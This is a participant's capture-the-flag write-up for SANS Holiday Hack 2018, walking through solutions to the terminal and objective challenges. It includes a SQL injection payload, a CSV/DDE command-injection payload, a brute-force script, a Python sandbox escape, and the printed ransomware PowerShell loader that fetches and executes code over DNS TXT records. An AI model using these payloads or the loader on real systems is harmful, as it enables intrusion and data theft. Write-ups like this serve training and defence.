SANS Holiday Hack 2018

SANS Holiday Hack 2018

I have to be honest, life is just too busy this year for me to actually write a full report in the context of the story.

Suffice it to say, I really enjoyed this year's challenge, much better than last year in terms of not having to actually play games.

Below are my solutions to the different parts of the challenge.


Essential Editor Skills

This was pretty simple, just exit vim with :q.  This is often a joke of the IT field.  

Stall Mucking Report

Listing processes and looking for the samba process (ps aux | grep samba) reveals the user:password as report-upload:directreindeerflatterystable. Then it was simple to login using smbclient to upload the file with smbclient -U report-upload%directreindeerflatterystable //localhost/report-upload/.

The Name Game

Option 2 is essentially a ping command to verify the system status. Using this you can just chain commands together to get a shell using; sh. Listing the directory contents we see an onboard.db file.  Using grep to search for "chan" in this database reveals our answer: cat onboard.db | grep -ia chan.  Sorry for the cat/grep, I did not know at the time that grep with the "-a" flag essentially does the same thing and treats a binary file as text.

CURLing Master

Looking in the nginx.conf file as suggested shows that this server is listening for HTTP2 calls.

        # love using the new stuff! -Bushy
                listen                  8080 http2;

So an initial call with the --http2 flag set seems reasonable.

Well what happened?  We still see an HTTP/1.1 request.  Reading the CURL man page, we see this...

(HTTP) Tells curl to issue its non-TLS HTTP requests  using HTTP/2  without  HTTP/1.1 Upgrade. It requires prior knowledge that the server supports HTTP/2 straight  away.  HTTPSrequests will still do HTTP/2 the standard way with negotiated protocol version in the TLS handshake.

So this is likely the issue that Holly Evergreen was referring to in her message...Bushy did not configure NGINX to upgrade HTTP/1.1 connections. Using this new flag gives us another hint.

curl --http2-prior-knowledge -v -d "status=on" localhost:8080

The Sleighbell Lottery

Heavily dependeny on the hint here.

Using the nm command we can see all the functions that are part of the binary.  The most notable one being winnermsg.

Well for some reason we were not able to call the winnermsg function but the winnerwinner function works and solves the puzzle.

gdb -q sleighbell-lotto
break main
jump  winnermsg # fails
jump winnerwinner # success


We first notice that there is a directory this is indeed a Git repository in kcconfmgmt. Running git log we immediately see something interesting.

Checking out the commit previous to this with git checkout <commit hash> gives us access to the affected file in ./server/config/.  Viewing the contents of config.js gives us our answer.

Python Escape from LA

Following the hint and watching Mark Baggett's talk led to a pretty easy solution.  Poking around the shell, we see that import is not allowed nor is exec but eval is. Further poking reveals the os.system is also blocked. So with these in mind, the command to escape from the shell must somehow not use the words above. The command quickly becomes:

eval('exe' + "c('from os imp' + 'ort system')")

Lethal ForensicELFication

Looking in the .viminfo file, we see that the likely answer is "Elinore"

Yule Log Analysis

First, use the provided Python script to convert the .evtx file to XML.

python ho-ho-no.evtx > ho-ho-no.xml

Looking at the XML output, we see that there are Windows Event IDs for each event. The failed logon event is 4625, which important because password spraying will result in many failed logon attempts.

Using some grep foo, I was able to tease out that appears to be the offending IP address.

egrep 'EventID|IpAddress' ho-ho-no.xml | grep 4625 -a1 | grep IpAddress

And then using that to find the compromised account.

egrep 'EventID|IpAddress|TargetUserName' ho-ho-no.xml | grep 4624 -A2 | grep 172 -B2


Orientation Challenge

  • Question 1In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?  Firmware
  • Question 2In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation? ATNAS
  • Question 3In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left? Business Card
  • Question 4In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?  Cranberry Pi
  • Question 5In 2017, the North Pole was being bombarded by giant objects. What were they? Snowballs
  • Question 6In 2017, Sam the snowman needed help reassembling pages torn from what? The Great Book

Which reveals the secret message of "Happy Trails".

Directory Browsing

The challenge directs us to  There is also a CFP page at "cfp/cfp.html".  Given the objective name, browsing to just the cfp directory reveals  Searching that page for "Data Loss for Rainbow Teams: A Path in the Darkness?" tells us our answer.

John McClane

De Bruijn Sequences

This appears to be related to the door code.

Each key press sends a request to the URL below. So we should be able to brute force this. Given the objective name as a hint, there are special sequences that can make guessing more efficient.  This article helped a lot.

Using this decoder, a de Bruijn sequence with a dictionary of 4 characters and a code of 4 characters yields a 256 character sequence. That should be simple enough to chunk through in a simple Python script.

import requests

sequence = '0000121021201011032220231122003131030112110102302000330211320023333010310130300321113120011332020323001003031231333223100213312222303203023233210002013300221313212330332320120222112033102201111232132312122103331302233110202101223221213012301311100132203113'

index = 0

for i in sequence:
    code = sequence[index:index+4]
    resp = requests.get('{}&resourceId=<redacted>'.format(code))

    if resp.json()['success'] == True:

    index +=1

This got me an answer is a few seconds.

And along with that answer was the answer to this objective "Welcome unprepared speaker!"

Data Repo Analysis

Looking through artifacts in the repo mentioned in the objective, there are a few interesting commits including one labelled "important update". This commit contains a file called that contains a password of "Yippee-ki-yay".

The zip file exists in the schematics directory and this password does indeed work to unzip the file, which appears to contain the maps to the ventilation maze in the entry hall.

Going back and doing the maze dropped me into the room past the Scan-O-Matic device that I had not solved yet.

AD Privilege Discovery

This objective requires us to download a VM that contains the requisite data.  Upon download and import of the VM, my suspicions that this is a BloodHound question were confirmed.  I wish they had simply provided the data along side the VM so that we could have just viewed it locally.

Using the built-in query for "Shortest Path to Domain Admin from Kerberoastable Users" show that there are 5 paths to Domain Admin but only 1 that does not require RDP access (as hinted in the objective verbiage). That user is "[email protected]".  This is what was returned from the BloodHound query.  I feel like this should have been rated as an easier challenge.

Badge Manipulation

With the sample badge provided, we immediately want to see what the decoded data is.  Plugging the image into an online QR Code reader just reveals some unintelligible text. I when through a few iterations of trying to decode the text with no luck.


So trying some SQLi and encoding that text as QR data gives us an interesting result. The error message is printed in the game terminal and is not easy to ready but we can also capture it in the Chrome developer tools for easier parsing.

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 1' at line 1\")","request":false}

Using this data as my base, I came up with this as input to exploit the SQLi flaw (after a handful of trial and error runs):  test' or '1' = '1'  order by last_name #. The order by was necessary because without it, the query kept getting likely the first user in the database who was disabled, so I needed a way to change that order.

This resulted in a success and the access code of 19880715.

HR Incident Response


After creating, testing, and subequently failing to deploy a reverse shell payload, I decided to try to find a public place on the web server to move the file. As it turns out, any random (non-existent) directory results in this very helpful 404 page.

Armed with this information, I could go ahead and craft a new payload to copy the desired file to this directory. After MANY hours of playing with payloads, I finally got my payload to execute. The key was the way I had my quotes; I needed to enclose the whole payload in quotes.

"=CMD|'/C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\gl0b0.docx'!A1"

Browsing to the page referenced in the 404 page above, results in the download of our file and the answer to the question of what terrorist organization is supported by the applicant whose name starts with 'K'.  The applicant is Krampus and he supports the Fancy Beaver organization.

Network Traffic Forensics

Based on the hint from SugarPlum Mary, I started poking around the source code of the web application to see if there were any artifacts.  I found two interesting snippets.

//File upload Function. All extensions and sizes are validated server-side in app.js

Rightfully guessing that the app.js file might be located in the same place as the other files gave some additional insight.

The snippets below seem to indicate that you can access environment variables by putting them in as URL path parameters.

if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];


router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.body='Not Found';
} catch (e) {

Earlier in the code we see this snippet, indicating at least 2 of the possible environment variables.

const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )

Sure enough, browsing to gives us this output:

Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'

Trying a few other environment variables like SHELL start to paint the picture that our webroot is located at /opt/http2 and the log file is located in a file called packalyzer_clientrandom_ssl.log. The DEV environment variable results in an 'unable to read directory' error giving the indication that the log file is located at

With this file and some knowledge from this useful resource, we should be able to decrypt some traffic and find some credentials.


Logging in as Alabaster reveals a Super Secret PCAP file.


This PCAP file is full of SMTP traffic so following the TCP stream reveals the information we are after – a base64 encoded attachment to an email, which decodes to a PDF. This PDF explains how to transpose musical notes using "Mary Had a Little Lamb" as the example (which is our answer).

Ransomware Recovery

Catch The Malware

This challenge has us analyze some PCAP to determine a single snort rule that can block all of the malicious DNS traffic. Looking at the traffic we see multiple IPs and domains being queried for their TXT record. Some come back with benign data like underthief8alcaptonuria8 but some return a result that is a full 254 bytes long and looks like completely unintelligible data.

This seems to be the malicious data and the commonality between them all is a subdomain of 77616E6E61636F6F6B69652E6D696E2E707331. So writing a Snort rule to detect that string in any of the packets should do the trick.

alert udp any any -> any any (msg:"Bad stuff"; content:"77616E6E61636F6F6B69652E6D696E2E707331"; sid:100000001)

With that rule in place, we get a happy message.

NOTE: This challenge really stumped me as I was WAY overcomplicating the problem. I tried the subdomain name initially but did it only in one direction. Then I went down the path of looking for specific byte sequences.  Finally I came back to my original rule but bi-directional for a win.

For this , Alabaster Snowball gave us a malicious Word document to inspect for clues.

Identify The Domain

The first challenge here was just unzipping the file.  Though the file is a standard ZIP file, the unzip command would not work Extracting with 7Zip worked fine though.

Looking for a way to safely extract the macros, I stumbled upon this SANS article on doing exactly that with the OfficeMailScanner tool. The commands were pretty straight forward.

OfficeMailScanner.exe C:\Path\To\CHOCOLATE_CHIP_COOKIE_RECIPE.docm info
OfficeMalScanner.exe C:\Users\testuser\AppData\Local\Temp\DecompressedMsOfficeDocument\word\vbaProject.bin info

This resulted in the extraction of 3 macro files each of which contain a Shell cmd line and Base64 encoded data.

  • Module1 - Contains a PowerShell command with Base64 encoded data
  • NewMacro - Appears to be identical to Module1
  • ThisDocument - Has Base64 encoded daa but not much else to go on.

Module1's Base64 data decodes to a PGP Secret Key.

Further inspection indicates that this is the same data in all 3 macros. Unfortrunately, this was a false trail.  The way that PowerShell decrompresses the data is not as simple as just base64 decoding the string.  Running the command in a VM with the network turned off reveals the domain.

Wanting to further confirm what was going on, I modified the command from the Macro slightly so that I could decode and see that actual code.

powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; $test = a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)""

Then, using my new $test variable, I was able to write out the actual code with $test.ReadLine(). Cleaning the code up a bit, we end up with this.

function H2A($a)
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_};
    return $o

$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
$domain1 = Resolve-DnsName -Server -Name "$" -Type TXT
foreach ($i in 0..([convert]::ToInt32(($domain1).strings, 10)-1)) 
    $h += (Resolve-DnsName -Server -Name "$i.$" -Type TXT).strings
iex($(H2A $h | Out-string))

The confirms that the malware domain is a set of subdomains off of and is requesting TXT records.

Stop The Malware

Doing further analysis on the code indicates that more code is being retrieved from the DNS TXT records. Copying the H2A function and passing in some of the strings from the PCAP we have, starts to paint a clearer picture.

Grabbing all the PCAPs from, cating them all into once file and then running this command gives me a good list of encoded data.

tcpdump -r all-snort.pcap | grep -v '?' | grep 397 | cut -d ' ' -f 9 | sed 's/"//g' | uniq

Taking any single single string and converting it from Hex to ASCII gives a piece of the code, but for some reason, command line tools would not convert the entire body of data. Online tools came to the rescue:

De-duping the data and analyzing, I found this interesting piece that did not seem to fit with the other functions and also involved an "if not equal" statement.

$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";

if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server -Name -Type TXT).Strings))).ToString() -ErrorAction 0 -Server {return}

Extracting these functions ands running them in a VM yields a very interesting answer.

Registering this domain with Ho Ho HoDaddy domain registrar effectively stops the malware.

Recover Alabaster's Password

Because we have been so helpful up to now, Alabaster has one more task for us.  To analyze a PowerShell process dump to see if we can find the password to decrypt his password database.

I also went down the path of beautifying the encryption script to see if I could reverse anything there.  This helped me a lot to understand what the client side code was doing but then I noticed this section:

$html_c = @{ 
    'GET /' = $(g_o_dns (A2H "source.min.html")); 
    'GET /close' = '<p>Bye!</p>' 

This uses the malware's DNS C2 to go grab some additional source code. I was able to grab both this file, and luckily the non-minified version as well. Additionally, I tried this with wannacookie.ps1 and also got a nicer looking version of the actual client side code that made analysis MUCH easier as many of the variable names are more descriptive.

The script generates a local symmetric key to encrypt files and then grabs a public key over DNS to then encrypt the symmetric key with.  The resultant public key encrypted key is then sent off to the malware's  C2. The symetric key variables are cleared from memory using PowerShell's Clear-Variable cmdlet but the public key encryption key is not. Running the commands individually indicated that the key would be 512 bytes long.

Looking at the hint from Alabaster, PowerDump seemed to be the easiest method to extract the keys.

This resulted in 65 functions and 10,947 variables being extracted from the memory dump.  This is way too many to manually parse through. Following along with Chris Davis' PowerShell Malware Analysis video I filtered down to variables stored in memory that are hex values and 512 bytes in length. This resulted in a single result; this had to be the key.

Now the challenge was to get the private key.  Looking at the call to get the public key, I decided to see if that subdomain value was significant in any way.

$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )

Hex decoding this string results in the value server.crt. A little research indicated that CRT files go along with their private key counter part KEY files. So, repurposing the malware code, I passed the hex encoded value of server.key to the get_over_dns function and was delighted at the response.

At this point I have the X509 certificate, the public key, and the private key.  THe next step is to put those all together to reverse out the encryption key. Using the details here, I was able to modify his script to get me the decryption key.

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import binascii

#Our Decryption Function
def decrypt_blob(encrypted_blob, private_key):

    #Import the Private Key and use for decryption using PKCS1_OAEP
    rsakey = RSA.importKey(private_key)
    rsakey =

    #Binaryify the data
    encrypted_blob = binascii.unhexlify(encrypted_blob)

    #In determining the chunk size, determine the private key length used in bytes.
    #The data will be in decrypted in chunks
    chunk_size = 512
    offset = 0
    decrypted = ""

    #keep loop going as long as we have chunks to decrypt
    while offset < len(encrypted_blob):
        #The chunk
        chunk = encrypted_blob[offset: offset + chunk_size]

        #Append the decrypted chunk to the overall decrypted file
        decrypted += rsakey.decrypt(chunk)

        #Increase the offset by chunk size
        offset += chunk_size

    #return the decompressed decrypted data

#Use the private key for decryption
fd = open("server.key", "rb")
private_key =

#Our candidate file to be decrypted
fd = open("public-key-encryption-key", "rb")
encrypted_blob =

decrypt_blob(encrypted_blob, private_key)

With the key in hand, it was back to PowerShell to use the malware functions to do the decryption for me.

# Set the new key derived from the work above
$key = '8c153b0226a3007f4e3ef8befb54284'

# Convert key to bytes

# Get the array object of encrypted files
[array]$future_cookies = $(Get-ChildItem *.wannacookie -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})

# Run the encrypt/decrypt function with the encrypt flag set to False
enc_dec $Byte_key $future_cookies $false 

The resulting file appears to be an SQLite 3 Database. Opening the database in an SQLite browser reveals the passwords we need.

Piano Lock

From Alabaster's password we get what appears to be musical notes: "E D# E D# E E D# E F# G# F# G# A B A# B A# B".

The hint we get from Alabaster is that the song should be in the key of D instead of E. Using the document from the Packalyzer secret PCAP, we can easily transpose the password. Moving each note down a full step gives us the following password:

D C# D C# D D C# D E F# E F# G A G# A G# A

The Conclusion

As it turns out, Santa was behind the hold KringleCon plot.  He devised this plan to find the best of the best security professionals across the land.  Hans and the Toy Soldiers (elves in disguise) we just working on Santa's orders.